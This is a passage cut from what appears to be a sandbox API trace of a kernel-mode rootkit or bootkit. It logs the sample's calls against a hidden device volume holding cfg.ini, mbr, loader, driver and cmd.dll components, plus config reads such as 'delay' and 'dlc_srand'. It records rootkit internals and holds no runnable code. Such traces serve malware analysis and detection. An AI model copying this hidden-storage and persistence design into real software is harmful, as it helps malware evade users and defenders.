"\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.260] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.260] KeEnterCriticalRegion () [0122.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.260] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.260] IdePortDispatch () returned 0x103 [0122.260] KeWaitForMutexObject () returned 0x0 [0122.260] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.260] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.260] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.260] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.260] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.260] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.260] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.260] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.260] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.260] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.261] KeLeaveCriticalRegion () [0122.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.261] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.261] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.261] KeEnterCriticalRegion () [0122.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.261] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.261] IdePortDispatch () returned 0x103 [0122.261] KeWaitForMutexObject () returned 0x0 [0122.261] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.261] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.261] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.261] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.261] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.261] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.261] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.261] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.261] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.261] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.261] KeLeaveCriticalRegion () [0122.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.261] ReleaseMutex (hMutex=0x100) returned 1 [0122.261] Sleep (dwMilliseconds=0x2bf20) [0122.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c137110, dwHighDateTime=0x1d24fa4)) [0122.270] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.270] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.270] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.270] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.270] KeEnterCriticalRegion () [0122.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.270] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.270] IdePortDispatch () returned 0x103 [0122.270] KeWaitForMutexObject () returned 0x0 [0122.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.270] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.270] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.270] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.270] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.270] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3090 [0122.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.270] KeLeaveCriticalRegion () [0122.270] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.270] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.270] KeEnterCriticalRegion () [0122.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.270] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.270] KeLeaveCriticalRegion () [0122.271] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.271] KeEnterCriticalRegion () [0122.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.271] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.271] IdePortDispatch () returned 0x103 [0122.271] KeWaitForMutexObject () returned 0x0 [0122.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.271] KeLeaveCriticalRegion () [0122.271] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.271] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.271] KeEnterCriticalRegion () [0122.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5f000 [0122.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.271] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.271] IdePortDispatch () returned 0x103 [0122.271] KeWaitForMutexObject () returned 0x0 [0122.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.272] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.272] IdePortDispatch () returned 0x103 [0122.272] KeWaitForMutexObject () returned 0x0 [0122.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.272] KeLeaveCriticalRegion () [0122.272] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.273] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.273] KeEnterCriticalRegion () [0122.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.273] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.273] KeLeaveCriticalRegion () [0122.273] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.273] KeEnterCriticalRegion () [0122.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.273] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.273] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.273] KeLeaveCriticalRegion () [0122.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.273] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.273] KeEnterCriticalRegion () [0122.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.273] ExFreePoolWithTag (P=0xfffffa8003be3090, Tag=0x0) [0122.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.273] KeLeaveCriticalRegion () [0122.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.273] ReleaseMutex (hMutex=0xf0) returned 1 [0122.273] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.273] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.273] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.273] KeEnterCriticalRegion () [0122.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.273] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.274] IdePortDispatch () returned 0x103 [0122.274] KeWaitForMutexObject () returned 0x0 [0122.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.274] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.274] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.274] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4840 [0122.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.274] KeLeaveCriticalRegion () [0122.274] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.274] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.274] KeEnterCriticalRegion () [0122.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.274] KeLeaveCriticalRegion () [0122.274] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.274] KeEnterCriticalRegion () [0122.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.274] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.274] IdePortDispatch () returned 0x103 [0122.275] KeWaitForMutexObject () returned 0x0 [0122.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.275] KeLeaveCriticalRegion () [0122.275] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.275] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.275] KeEnterCriticalRegion () [0122.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c60000 [0122.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.275] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.275] IdePortDispatch () returned 0x103 [0122.275] KeWaitForMutexObject () returned 0x0 [0122.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.276] IdePortDispatch () returned 0x103 [0122.276] KeWaitForMutexObject () returned 0x0 [0122.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.276] KeLeaveCriticalRegion () [0122.276] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.277] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.277] KeEnterCriticalRegion () [0122.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.277] KeLeaveCriticalRegion () [0122.277] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.277] KeEnterCriticalRegion () [0122.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.277] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.277] KeLeaveCriticalRegion () [0122.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.277] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.277] KeEnterCriticalRegion () [0122.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.277] ExFreePoolWithTag (P=0xfffffa8003be4840, Tag=0x0) [0122.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.277] KeLeaveCriticalRegion () [0122.277] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.277] ReleaseMutex (hMutex=0xf0) returned 1 [0122.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.277] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.277] KeEnterCriticalRegion () [0122.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.277] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.277] IdePortDispatch () returned 0x103 [0122.278] KeWaitForMutexObject () returned 0x0 [0122.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4f00 [0122.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.278] KeLeaveCriticalRegion () [0122.278] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.278] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.278] KeEnterCriticalRegion () [0122.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.278] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.278] KeLeaveCriticalRegion () [0122.278] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.278] KeEnterCriticalRegion () [0122.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.278] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.278] IdePortDispatch () returned 0x103 [0122.279] KeWaitForMutexObject () returned 0x0 [0122.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.279] KeLeaveCriticalRegion () [0122.279] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.279] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.279] KeEnterCriticalRegion () [0122.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c61000 [0122.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.279] IdePortDispatch () returned 0x103 [0122.279] KeWaitForMutexObject () returned 